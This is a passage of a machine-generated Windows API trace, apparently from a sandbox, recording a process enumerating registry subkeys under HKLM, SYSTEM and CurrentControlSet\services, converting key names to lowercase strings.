lpUsedDefaultChar=0x0) returned 5 [0224.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0224.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0224.853] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0224.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0224.854] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0224.854] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0224.854] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0224.854] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1cd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0224.854] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0224.854] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0224.855] RegCloseKey (hKey=0x150) returned 0x0 [0224.855] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0224.855] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0224.855] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.855] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.855] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.855] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.856] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.856] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.856] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.856] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0224.856] RegCloseKey (hKey=0x80000002) returned 0x0 [0224.856] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0224.856] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.857] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.857] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1ad8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.857] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.857] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.857] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.857] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.857] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.858] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.858] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.858] RegCloseKey (hKey=0x14c) returned 0x0 [0224.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.858] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0224.858] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.859] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0224.859] RegCloseKey (hKey=0x150) returned 0x0 [0224.859] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0224.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0224.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 